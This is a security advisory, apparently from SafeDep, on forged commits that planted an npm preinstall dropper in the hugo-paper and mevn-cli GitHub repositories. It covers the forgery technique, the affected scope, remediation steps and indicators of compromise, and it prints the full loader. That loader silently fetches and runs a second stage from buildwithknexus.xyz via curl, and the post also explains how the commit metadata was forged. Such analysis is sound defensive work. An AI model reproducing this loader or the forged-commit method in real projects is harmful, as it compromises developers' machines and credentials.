Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli

Kunal Singh6 min read

An attacker slipped a malicious preinstall script into two GitHub projects, hugo-paper(opens in new tab) and mevn-cli(opens in new tab). Run npm install or bun install in either one, and it fetches a script from buildwithknexus[.]xyz and runs it in the background. No npm package carries the payload, so registry scanners never see it.

The attacker pushed straight to the default branches and copied the author, date, and message of a real commit, so the history looks untouched.

The dropper

The forged commits add two changes. The first is a new hook as the first entry under "scripts" in package.json:

hugo-paper a68d2c9b / package.json (excerpt)
"preinstall": "node scripts/preinstall.js"

The second is the loader, copied from the forged hugo-paper commit. Do not run it.

hugo-paper a68d2c9b / scripts/preinstall.js
'use strict';

const { execSync } = require('child_process');

const platform = process.platform;
const silent = { stdio: 'ignore' };

if (platform === 'win32') {
  try {
    execSync('curl.exe -ks https://buildwithknexus.xyz/check_w -o "%TEMP%\\check.cmd"', { ...silent, shell: true });
    execSync('cmd /c ""%TEMP%\\check.cmd" & exit /b 0"', { ...silent, shell: true });
  } catch (error) {}
} else if (platform === 'darwin') {
  execSync(
    'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
    silent
  );
} else if (platform === 'linux') {
  execSync(
    'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
    silent
  );
} else {
  execSync(`echo Preinstall on unsupported platform: ${platform}`, silent);
}

Source: scripts/preinstall.js at a68d2c9b(opens in new tab).

The -k flag turns off TLS certificate checks and -s hides curl output. Every execSync call sets stdio to ignore, so nothing reaches the terminal. On macOS and Linux, the install finishes normally while the second stage keeps running.

This file is a first-stage downloader. The server controls the second stage (check_m and check_w) and can change it at any time. SafeDep has not retrieved the second stage and cannot confirm what it does. Treat any machine that ran the hook as compromised.

The attacker changed the payload once

mevn-cli has two versions of the loader. The first version (sha256 c7b8b06d…5e575f79e) started a hidden PowerShell window on Windows. Its command puts \c sequences without escaping inside a JavaScript string, which likely broke the Windows path. The attacker then pushed the second version (sha256 61412c99…14f9eaf100), which uses curl.exe and cmd /c inside a try block. hugo-paper only received the second version.

The forged hugo-paper commit

On 2026-03-09 the maintainer merged PR #267(opens in new tab), a clean two-line template change. GitHub created the merge commit de1169ec, which has two parents and a valid GPG signature.

On 2026-08-21 at 02:22 UTC, the attacker force-pushed a68d2c9b over main. The new commit copies the original metadata and adds the payload:

git diff de1169ec a68d2c9b shows only the two malicious files. The commit list on GitHub still shows the same message, avatar, and March date. You can spot the forgery two ways. The “Verified” badge is gone, and the merge commit has one parent instead of two. The PR API still reports merge_commit_sha as de1169ec, which no longer exists on any branch.

The author of PR #267 had no part in this. Their commit f1c0ba8 is clean.

The appended mevn-cli commits

The attack on mevn-cli came first, on 2026-08-20 at 11:23 UTC. Here the attacker appended new commits instead of replacing the tip. Each one copies the author, timestamp, and message of the commit before it, on two branches:

mevn-cli / branch history
develop (default branch)
  d6c30b2  "docs: replace obsolete Travis badge…"   legitimate, README only
  eabf4d9  same message, author, and timestamp       adds payload v1 and the preinstall hook
  f883021  same message, author, and timestamp       upgrades to payload v2 (HEAD)

master
  d6f8eb1  "1.8.1" (tag v1.8.1, 2020-08-23)          legitimate
  3a30d0d  same message, author, and timestamp       adds payload v1 and package.json from develop
  ceb4558  same message, author, and timestamp       upgrades to payload v2 (branch tip)

The maintainer never signed commits, so no “Verified” badge disappears. The master commits carry a 2020 date, which makes them look old. The existing postinstall hook (opencollective-postinstall) is legitimate and predates the attack.

Source: scripts/preinstall.js at f8830218(opens in new tab).

Common technique across both repositories

  • A direct push under the maintainer identity, with a force push where needed. No pull request or review.
  • A copy of the author, committer, timestamps, and message of the current tip commit.
  • Changes to the default branch and to other long-lived branches.
  • The same file path, scripts/preinstall.js, and the same hook as the first entry under "scripts".
  • The same host, buildwithknexus[.]xyz, with paths /check_m and /check_w.
  • No npm release. hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean.

The attacker hit two unrelated maintainers within 15 hours, each with commits under their own identity. That points to stolen push credentials, such as a personal access token or SSH key. SafeDep infers this from the pattern and has not confirmed how the attacker got them.

Scope

Forks and copies made after the attack inherit the payload. These repositories carry it:

SafeDep found no dropper in the other repositories of these accounts. No evidence links the fork owners to the attacker.

Relation to GlassWorm and ForceMemo

The git trick is the same one GlassWorm(opens in new tab) and ForceMemo(opens in new tab) used earlier in 2026. Steal the GitHub credentials of a maintainer, rewrite the tip commit, and force-push it with the original message and author.

The tooling is different. GlassWorm hides an encoded loader in invisible Unicode and uses a Solana memo for command and control. This campaign uses plaintext curl and a fixed domain, and shares no indicators with either attack. SafeDep treats it as a separate cluster and will revisit that if the second stage points to either one.

Timeline

All times are UTC.

Am I affected?

You are affected if both of these are true:

  1. You cloned or pulled hugo-paper main after 2026-08-21, mevn-cli develop or master after 2026-08-20, or one of the forks above.
  2. You ran npm install, bun install, yarn, or pnpm install in that checkout without --ignore-scripts.

If you use the theme only as a Hugo module or git submodule and never ran a JavaScript package install, the hook never ran on your machine.

If you are affected:

  1. Treat the machine or CI runner as compromised. Look for /tmp/check, %TEMP%\check.cmd, and any process or log entry that mentions buildwithknexus.xyz.
  2. Rotate every secret that the machine could reach. This includes GitHub tokens and SSH keys, npm tokens, cloud credentials, .env files, and credentials stored in the browser.
  3. Block buildwithknexus.xyz at DNS or proxy level and search egress logs for earlier connections.

Indicators of compromise

IoC: hugo-paper and mevn-cli campaign
RowIndicatorTypeNotes
1buildwithknexus.xyzDomainSecond-stage host
2https://buildwithknexus.xyz/check_mURLLinux and macOS second stage (bash)
3https://buildwithknexus.xyz/check_wURLWindows second stage (.cmd)
4/tmp/checkFile pathLinux and macOS drop path
5%TEMP%\check.cmdFile pathWindows drop path
661412c992ff0aac0ce629ebff224a198dda59ed878ebea03f2d51b14f9eaf100SHA-256scripts/preinstall.js v2
7c7b8b06dc41b9f9172375de622627bcc37b7c972a3ec6a371f5e2e56e575f79eSHA-256scripts/preinstall.js v1
8a68d2c9b2ad9d857b09dcb30a578ac1de6487061Git commithugo-paper main (forged)
9eabf4d93f660e5a837c80cc8a73d554db2ecf3ecGit commitmevn-cli develop (payload v1)
10f8830218b5d70d068cca19a45df261a8cf19f30dGit commitmevn-cli develop (payload v2)
113a30d0d7ca9f877fb1be33929a8a34f887fe5702Git commitmevn-cli master (payload v1)
12ceb455875c320a764fa6ac102674f161509d3394Git commitmevn-cli master (payload v2)
13de1169ec320dc12bce509273c03bd6a745ef9645Git commithugo-paper main (last good)
14d6c30b223c7db4d275faad6e82b4d87c16601daeGit commitmevn-cli develop (last good)
15d6f8eb1900f8f40c6009796774d3dfe9146bfab5Git commitmevn-cli master (last good; tag v1.8.1)
15 rows3 columns
  • github
  • npm
  • malware
  • supply-chain
  • forced-push

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.